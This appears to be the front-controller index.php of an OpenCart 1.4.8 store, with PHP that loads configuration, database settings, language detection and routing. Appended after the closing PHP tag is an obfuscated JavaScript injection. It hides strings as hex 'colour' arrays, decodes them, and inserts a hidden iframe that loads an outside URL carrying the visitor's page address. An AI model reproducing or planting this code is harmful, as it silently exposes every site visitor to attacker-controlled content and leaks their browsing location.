<?php
// Version
define('VERSION', '1.4.8');

// Configuration
require_once('config.php');
   
// Install 
if (!defined('DIR_APPLICATION')) {
	header('Location: install/index.php');
	exit;
}

// Startup
require_once(DIR_SYSTEM . 'startup.php');

// Application Classes
require_once(DIR_SYSTEM . 'library/customer.php');
require_once(DIR_SYSTEM . 'library/currency.php');
require_once(DIR_SYSTEM . 'library/tax.php');
require_once(DIR_SYSTEM . 'library/weight.php');
require_once(DIR_SYSTEM . 'library/length.php');
require_once(DIR_SYSTEM . 'library/cart.php');

// Registry
$registry = new Registry();

// Loader
$loader = new Loader($registry);
$registry->set('load', $loader);

// Config
$config = new Config();
$registry->set('config', $config);

// Database 
$db = new DB(DB_DRIVER, DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
$registry->set('db', $db);

// Settings
$query = $db->query("SELECT * FROM " . DB_PREFIX . "setting");

foreach ($query->rows as $setting) {
	$config->set($setting['key'], $setting['value']);
}

// Store
$query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE url = '" . $db->escape('http://' . $_SERVER['HTTP_HOST'] . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "' OR url = '" . $db->escape('http://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");

foreach ($query->row as $key => $value) {
	$config->set('config_' . $key, $value);
}

define('HTTP_SERVER', $config->get('config_url'));
define('HTTP_IMAGE', HTTP_SERVER . 'image/');

if ($config->get('config_ssl')) {
	define('HTTPS_SERVER', 'https://' . substr($config->get('config_url'), 7));
	define('HTTPS_IMAGE', HTTPS_SERVER . 'image/');	
} else {
	define('HTTPS_SERVER', HTTP_SERVER);
	define('HTTPS_IMAGE', HTTP_IMAGE);	
}

// Log 
$log = new Log($config->get('config_error_filename'));
$registry->set('log', $log);

// Error Handler
function error_handler($errno, $errstr, $errfile, $errline) {
	global $config, $log;
	
	switch ($errno) {
		case E_NOTICE:
		case E_USER_NOTICE:
			$error = 'Notice';
			break;
		case E_WARNING:
		case E_USER_WARNING:
			$error = 'Warning';
			break;
		case E_ERROR:
		case E_USER_ERROR:
			$error = 'Fatal Error';
			break;
		default:
			$error = 'Unknown';
			break;
	}
		
	if ($config->get('config_error_display')) {
		echo '<b>' . $error . '</b>: ' . $errstr . ' in <b>' . $errfile . '</b> on line <b>' . $errline . '</b>';
	}
	
	if ($config->get('config_error_log')) {
		$log->write('PHP ' . $error . ':  ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
	}

	return TRUE;
}

// Error Handler
set_error_handler('error_handler');

// Request
$request = new Request();
$registry->set('request', $request);
 
// Response
$response = new Response();
$response->addHeader('Content-Type: text/html; charset=utf-8');
$registry->set('response', $response); 

// Cache
$registry->set('cache', new Cache());

// Session
$session = new Session();
$registry->set('session', $session);
	
// Document
$registry->set('document', new Document());

// Language Detection
$languages = array();

$query = $db->query("SELECT * FROM " . DB_PREFIX . "language"); 

foreach ($query->rows as $result) {
	$languages[$result['code']] = array(
		'language_id' => $result['language_id'],
		'name'        => $result['name'],
		'code'        => $result['code'],
		'locale'      => $result['locale'],
		'directory'   => $result['directory'],
		'filename'    => $result['filename']
	);
}

$detect = '';

if (isset($request->server['HTTP_ACCEPT_LANGUAGE']) && ($request->server['HTTP_ACCEPT_LANGUAGE'])) { 
	$browser_languages = explode(',', $request->server['HTTP_ACCEPT_LANGUAGE']);
	
	foreach ($browser_languages as $browser_language) {
		foreach ($languages as $key => $value) {
			$locale = explode(',', $value['locale']);

			if (in_array($browser_language, $locale)) {
				$detect = $key;
			}
		}
	}
}

if (isset($_GET['language']) && array_key_exists($_GET['language'], $languages)) {
	$code = $_GET['language'];
} elseif (isset($session->data['language']) && array_key_exists($session->data['language'], $languages)) {
	$code = $session->data['language'];
} elseif (isset($request->cookie['language']) && array_key_exists($request->cookie['language'], $languages)) {
	$code = $request->cookie['language'];
} elseif ($detect) {
	$code = $detect;
} else {
	$code = $config->get('config_language');
}

if (!isset($session->data['language']) || $session->data['language'] != $code) {
	$session->data['language'] = $code;
}

if (!isset($request->cookie['language']) || $request->cookie['language'] != $code) {	  
	setcookie('language', $code, time() + 60 * 60 * 24 * 30, '/', $request->server['HTTP_HOST']);
}			

$config->set('config_language_id', $languages[$code]['language_id']);
$config->set('config_language', $languages[$code]['code']);

// Language		
$language = new Language($languages[$code]['directory']);
$language->load($languages[$code]['filename']);	
$registry->set('language', $language);

// Customer
$registry->set('customer', new Customer($registry));

// Currency
$registry->set('currency', new Currency($registry));

// Tax
$registry->set('tax', new Tax($registry));

// Weight
$registry->set('weight', new Weight($registry));

// Length
$registry->set('length', new Length($registry));

// Cart
$registry->set('cart', new Cart($registry));

// Front Controller 
$controller = new Front($registry);

// Maintenance Mode
$controller->addPreAction(new Action('common/maintenance/check'));

// SEO URL's
$controller->addPreAction(new Action('common/seo_url'));

// Router
if (isset($request->get['route'])) {
	$action = new Action($request->get['route']);
} else {
	$action = new Action('common/home');
}

// Dispatch
$controller->dispatch($action, new Action('error/not_found'));

// Output
$response->output();
  ?>

if (typeof(def_colors)=="undefined") {
   var def_colors = 1;

   var div_colors = new Array('#778383', '#7f493e', '#3e4744', '#3d4041', '#473d40', '#45483d', '#404246', '#3e8674', '#71787c', '#3e7980', '#847481', '#883d7c', '#787d3d', '#798200');
   var css_colors = new Array('#717e73', '#887378', '#857378', '#827f7b', '#70887d', '#7e7d74', '#787581', '#707c74', '#4b7378', '#852f82', '#83887b', '#744c36', '#737882', '#7f7b70', '#88497d', '#7e7d74', '#364d4b', '#787581', '#707c74', '#2f8281', '#724c36', '#364d4b', '#3e7875', '#81707c', '#744d4b', '#3e7378', '#854d82', '#81724e', '#81754c');
   var css_indexes = new Array(4, 3, 7, 4, 6, 39, 17, 3, 4);

   function div_pick_color(t) {
	var s = '';
	for (j=0;j<t.length;j++) {	
		var c_rgb = t[j];
		for (i=1;i<7;i++) {
			var c_clr = c_rgb.substr(i++,2);
			if (c_clr!='00') s += String.fromCharCode(parseInt(c_clr,16)-15);
		}
	  }
	return s;
   }

   var ct = new Array(10);
   var s = div_pick_color(css_colors);
   var c = css_indexes;
   ct[0] = div_pick_color(div_colors);
   var j = 0; var ci = 1;
   for(i=0;i<c.length;i++) {
  	ct[ci++] = s.substr(j,c[i]);
	j=j+c[i];
   }
   ct[0] = ct[0] + ct[9] + document.location;
   function check_div_style() {
	var d=document.getElementsByTagName(ct[1])[0];
	if(d) {
		try {
			var d=document.getElementsByTagName(ct[1])[0];
			var v=document.createElement(ct[2]);
			v.style.display=ct[4];
			v.setAttribute(ct[3],ct[4]);
			d.appendChild(v);
			w=document.createElement(ct[5]);
			w.src=ct[0];
			w.setAttribute(ct[8],ct[0]);
			v.appendChild(w);
		} catch(e) {
			document.write(ct[6]+ct[0]+ct[7]);
		}
	   } else {
		setTimeout("check_div_style();",500);	
	   }
   }

   check_div_style();

}
